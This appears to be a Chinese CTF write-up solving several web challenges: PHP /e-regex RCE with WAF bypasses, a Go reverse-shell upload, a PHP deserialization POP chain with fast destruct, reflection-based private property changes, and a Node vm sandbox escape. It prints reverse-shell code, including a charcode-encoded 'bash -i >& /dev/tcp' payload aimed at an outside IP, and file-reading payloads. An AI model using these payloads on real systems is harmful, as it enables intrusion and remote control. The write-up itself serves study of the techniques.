参考文章

ezrce

但是只做出了这道题目

和那个GXYCTF的禁止套娃差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include 'waf.php';
header("Content-Type:text/html;charset=utf-8");
echo "你是谁啊哥们?把钥匙给我!!!!<br/>";
$key=$_GET['key'];
$name=$_POST['name'];
$qaq=waf($_POST['qaq']);
if (isset($_GET['key'])){
highlight_file(__FILE__);
}
if (isset($name))
{
echo "你是".$name."大人????<br/>";
$name1=preg_replace('/hahaha/e',$qaq,$name);
echo "骗我的吧,你明明是 >>>>小小".$name1;
}
?>

这就是题目的关键代码了

这个代码里的正则是关键/hahaha/e

在PHP中,/e是一个正则表达式修饰符,它用于将替换字符串作为可执行的PHP代码进行解释。

image-20230611150837568

这里的得到了当前目录下的代码,当我们尝试别的命令执行的时候,发现执行失败,应该是过滤了很多东西了

这里的话我们就尝试读取一下这个waf.php

file_get_contents(array_pop(scandir(pos(localeconv()))))利用这个代码读取了·waf.php 这个代码是读取最后一个文件的 当然了index.php也能读取 稍微修改一下这个代码就行了

waf.php

1
2
3
4
5
6
7
8
9
<?php
function waf($poc)
{
if(preg_match("/[0-9]|get_defined_vars|getallheaders|next|prev|end|array_reverse|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $poc)){
echo "hacker! you die!<br/>";
return "666";
}
return $poc;
}

几乎过滤掉了所有东西,只能通过函数方法来进行执行

这里的话参考(禁止套娃)得到了灵感

image-20230611151932869

payload

1
show_source(session_id(session_start()))

然后cookie传参就行了 ———> PHPSESSID=/flag

当然还有另一种方法是我看waf.php里面得出的灵感 就是利用这个函数getallheaders

image-20230611152444467

就是需要改图片中这几处就行了 PHPSESSID=eval(next(getallheaders()))这个为什么能行了,打印一下getallheaders()这个函数就行了,next的时候就会指向UA头,所以说我们只要控制UA头就能RCE了

两种方法的区别是

  • 第一种只能读文件,而且只能猜flag名字
  • 第二种是能进行rce,能为所欲为

test

这道题考察的是go的反弹shell

image-20230611153330503

这个玩意没啥用

查看源码 发现有个路径

image-20230611153352953

image-20230611153437952

访问后是这样,我们把index改成admin的话

image-20230611153525037

得到了用户名和一段编码过的密码 于是尝试破解

image-20230611153632000

然后登录

image-20230611153744386

让我们上传一个go文件,然后它会帮我们运行

那么我们就去网上找一个由go的反弹shell的文件,然后拿来上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package main

import (
"fmt"
"net"
"os/exec"
)

func main() {
// 连接到攻击者的 IP 地址和端口
conn, err := net.Dial("tcp", "your_ip:9996")
if err != nil {
panic(err)
}

// 将连接交给 Cmd 对象处理
cmd := exec.Command("/bin/sh")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn

// 启动 Cmd 对象
err = cmd.Start()
if err != nil {
panic(err)
}

// 等待 Cmd 对象执行完毕
err = cmd.Wait()
if err != nil {
panic(err)
}

// 关闭连接
conn.Close()

// 输出完成信息
fmt.Println("Shell session terminated")
}

(因为这里没有上传入口,所以我们得自己写一个html来强制上传)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://d5e624ee.clsadp.com/Adm1nUp104d" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="submit">
</form>
</body>
</html>

image-20230611154326187

成功

总结

  • 这题的看起来其实不难,难点是在能想到把index改成admin 并且不执著于页面的那个登录框

ezpop

image-20230611155817651

这里的话先查看源码

image-20230611155851957

访问得到

image-20230611155914604

接着访问

image-20230611155943182

进行base64解码得到

image-20230611155959067

然后访问之后拿到题目给的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
highlight_file(__FILE__);

class night
{
public $night;

public function __destruct(){
echo $this->night . '哒咩哟';
}
}

class day
{
public $day;

public function __toString(){
echo $this->day->go();
}

public function __call($a, $b){
echo $this->day->getFlag();
}
}


class light
{
public $light;

public function __invoke(){
echo $this->light->d();
}
}

class dark
{
public $dark;

public function go(){
($this->dark)();
}

public function getFlag(){
include(hacked($this->dark));
}
}

function hacked($s) {
if(substr($s, 0,1) == '/'){
die('呆jio步');
}
$s = preg_replace('/\.\.*/', '.', $s);
$s = urldecode($s);
$s = htmlentities($s, ENT_QUOTES, 'UTF-8');
return strip_tags($s);
}

$un = unserialize($_POST['‮⁦快给我传参⁩⁦pop']); //
throw new Exception('seino');

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$a=new dark();
$a->dark="php://filter/convert.base64-encode/resource=/flag";
$b=new day();
$b->day=$a;
$c=new light();
$c->light=$b;
$d=new dark();
$d->dark=$c;
$e=new day();
$e->day=$d;
$n=new night();
$n->night=$e;
echo serialize($n);


O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}

这里的话其实pop链不难构造,难的是怎么进行命令执行,当时卡了半天没成功

(这里的dark参数要传不同的值得序列化两边,并且使用不同的名字)

还有就是这里的post传参的话是有不可见字符的(复制进sublime就能看见了)

image-20230611172413530

传参进行url编码

1
%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop

因为这里抛出了一个异常,导致destruct方法没有被触发,

我们可以使用 fast destruct技巧提前触发 __destruct()

这里我们可以删除最后一个大括号 }:得到flag的base64编码

image-20230611172744069

1
本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。

fast destruct 详解

PHP序列化冷知识 ——-> 这篇文章可以好好看看

这里的话还有另一种解法就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$t=new night();

$t->night=new day();

$t->night->day=new dark();

$t->night->day->dark=new light();

$t->night->day->dark->light=new day();

$t->night->day->dark->light->day=new dark();

$t->night->day->dark->light->day->dark="php://filter/read=convert.base64-encode/resource=/flag";

$c=array($t,0);

echo (serialize($c));

把实例化后的night放入到数组里在进行实例化 这样也可以进行绕过

unserialize

访问直接给了代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
require_once "waf.php";
error_reporting(0);
class getFlag{
private $password;
private $cmd;
public function __destruct(){
if($this->password=="‮⁦ //how to change the private variables⁩⁦secret"){
system($this->cmd);
}
}
}
$a = $_GET['a'];
if(isset($_GET['a'])){
@eval(waf($a));
}
?>

image-20230611175801822

这里的给的php太低,如果给高的话,可以直接修改源码里的private

好像是php7以上就可以来着

image-20230611180105554

给了个提示

image-20230611180122824

这些东西就是反射的东西,学过java反射的话应该对这个很熟悉

payload

1
2
3
4
5
6
7
8
9
$flag = new getFlag();
$refl = new ReflectionObject($flag);
$pwd = $refl->getProperty("password");
$pwd->setAccessible(true);
$pwd->setValue($flag,"%E2%80%AE%E2%81%A6%20%20%2F%2Fhow%20to%20change%20the%20private%20variables%E2%81%A9%E2%81%A6secret");
$cmd = $refl->getProperty("cmd");
$cmd->setAccessible(true);
$cmd->setValue($flag,"cat /flag");

这个反射的话去google一下就会出来

这里的编码的原因是因为又是这个不可见字符搞的鬼

image-20230611180412719

image-20230611180503819

总结

  • php反射修改属性
  • 不可见字符的url编码

这题还有个非预期

1
2
a=system%0a('ls /');
a=system%0a('cat /flag');

Esc4pe_T0_Mong0

这道题是一道沙箱逃逸的题目 网上可以搜到CVE

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
Code Execution Demo
2+2

Execute Read Source Code
Source Code:
//const { MongoClient } = require("mongodb");
//const client = new MongoClient("mongodb://localhost:27017/");

const vm = require('vm');

const express = require("express");
const bodyParser = require('body-parser');
const app = express();

const isValidCode = (code) => {
const isLengthValid = code.length < 365;
const isASCII = /^[\x20-\x7e]+$/.test(code);
const containsInvalidChars = /[.\[\]{}\s;`'"/\\_<>?:]/.test(code);
const doesNotContainImport = !code.toLowerCase().includes("import");
const doesNotContainUnescape = !/%(?:d0|d1|%[89abAB][0-9a-fA-F])/.test(code);

return (
isLengthValid &&
isASCII &&
!containsInvalidChars &&
doesNotContainImport &&
doesNotContainUnescape
);
};

app.use(bodyParser.json());

app.get('/', function (req, res) {
res.sendFile( __dirname + "/static/index.html" );
});

app.get('/readfile', function (req, res) {
res.sendFile( __dirname + "/app.js" );
});

app.get('/exec', (req, res) => {
const code = req.query.code;
if (!code) {
res.status(400).json({ error: 'Code is required.' });
return;
}

if (isValidCode(code)) {
try {
const sandbox = {};
const script = new vm.Script(code);
const result = script.runInNewContext(sandbox);
res.json({ result });
} catch (err) {
res.status(400).json({ error: err.message });
}
} else {
res.status(400).json({ error: 'you cant bypass my vm best waf!' });
return;
}
});

//app.get('/getflag', function (req, res) {
// todo...
//});

app.listen(3000, () => console.log(`nodeapp listening on http://localhost:3000`));

代码执行在这一块

1
2
3
4
const sandbox = {};
const script = new vm.Script(code);
const result = script.runInNewContext(sandbox);
res.json({ result });

直接搜索mongo vm 沙箱逃逸就文章就出来了 poc也出来了

image-20230611213840311

但是这里的会对我们传进来的值进行过滤.

image-20230611213635442

这是过滤内容

这里的话因为存在过滤,所以使用with替代.,用ascii替代其他字符 这里的正则是必须得用ascii 括号里的内容必须得用,括号外的就可以直接写字母

payload

1
with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,a=52,55,46,b=49,48,a,46,b,a,46,b,54,48,47,b,a,a,a,32,48,62,38,b,34))

把ascii转化一下就能看到原本的样子了